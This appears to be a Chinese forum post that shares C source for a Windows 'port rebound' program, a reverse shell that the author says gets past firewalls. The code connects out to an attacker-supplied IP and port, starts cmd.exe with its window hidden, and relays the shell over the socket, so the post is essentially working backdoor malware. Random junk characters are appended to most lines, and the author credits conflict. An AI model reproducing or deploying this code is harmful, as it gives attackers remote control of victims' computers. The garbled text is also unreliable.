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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R|(a@sL  
Le^ n +5x  
/* ============================== 9(Xn>G'iT  
Rebound port in Windows NT Di{de`  
By wind,2006/7 wCBplaojJ  
===============================*/ :ws<-Qy  
#include At;LO9T3z  
#include }SZd  
3v-~K)hl?  
#pragma comment(lib,"wsock32.lib") Vurq t_nb  
%cn<ych G  
void OutputShell(); dZuOrTplA  
SOCKET sClient; UEL _uij  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 307I$*%W  
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void main(int argc,char **argv) vY3h3o  
{ n@3>6_^rwT  
WSADATA stWsaData; Q>z8IlJ}  
int nRet; y~V(aih}D  
SOCKADDR_IN stSaiClient,stSaiServer; *-X[u:  
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if(argc != 3) ?Bmb' 3  
{ !4!~L k=  
printf("Useage:\n\rRebound DestIP DestPort\n"); Id9TG/H7  
return; L~3Pm%{@A  
} ]:n,RO6  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <_+X 88  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *4 n)  
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stSaiClient.sin_family = AF_INET; zQ PQ  
stSaiClient.sin_port = htons(0); #-J>NWdt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fP1! )po  
a+QpM*n7Lq  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !,PWb3S  
{ j>kqz>3  
printf("Bind Socket Failed!\n"); '3;b@g,  
return; q^nVN#  
} W,u:gzmhw  
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stSaiServer.sin_family = AF_INET; q3`u1S7Z7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %so]L+r2!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,!9zrYi}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W g! Lfu  
{ 2g<Xtt7+o  
printf("Connect Error!"); jEwIn1  
return; cwL_tq  
} 2mU.7!g)  
OutputShell(); 7>RY/O;Z,  
} F0# 'WfM#  
*zLMpL_  
void OutputShell() AQ Ojit6p  
{ AXB7oV,xt  
char szBuff[1024]; Ys7]B9/1O  
SECURITY_ATTRIBUTES stSecurityAttributes; 'GScszz  
OSVERSIONINFO stOsversionInfo; ;{6~Bq9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X>^fEQq"  
STARTUPINFO stStartupInfo; "N#Y gSr  
char *szShell; ^zr`;cJ+c  
PROCESS_INFORMATION stProcessInformation; Dv6}bx(  
unsigned long lBytesRead; Y:`&=wjP~  
wC*X4 '  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i/.6>4tE:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gG uO  
stSecurityAttributes.lpSecurityDescriptor = 0; 05R@7[GWq  
stSecurityAttributes.bInheritHandle = TRUE; HOi`$vX }N  
y`Z\N   
Wn6Sn{8W{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1;iUWU1@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ry]l.@o;  
,%y /kS]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xD7]C|8o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /{2,zW  
stStartupInfo.wShowWindow = SW_HIDE; kxCSs7J/  
stStartupInfo.hStdInput = hReadPipe; a9Vi];  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y0> @vTUX  
n"8Yv~v*2j  
GetVersionEx(&stOsversionInfo); EX"yxZ~  
K NOIZj   
switch(stOsversionInfo.dwPlatformId) n{jGOfc  
{ "  1tH  
case 1: >mkFV@`  
szShell = "command.com"; jWgX_//!  
break; YkADk9fE  
default: A}w/OA97RO  
szShell = "cmd.exe"; ?A0)L27UE&  
break; O0:q;<>z  
} z9"U!A4  
.Y|!:t|  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |[lKY+26:{  
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send(sClient,szMsg,77,0); xx $cnG  
while(1) +ai< q>+  
{ 8,|kao:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I 6O  
if(lBytesRead) g{LP7 D;6  
{ )PZT4jTt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V~#tuv  
send(sClient,szBuff,lBytesRead,0); d=^z`nt !R  
} ~G w*r\\+  
else 3XKf!P  
{ k{0o9,  
lBytesRead=recv(sClient,szBuff,1024,0); ipz5H*  
if(lBytesRead<=0) break; !~Z"9(v'C  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,//S`j$S  
} 8EY:t zw  
} (% 9$!v{3  
0{mex4  
return; k=^xVQuI  
}
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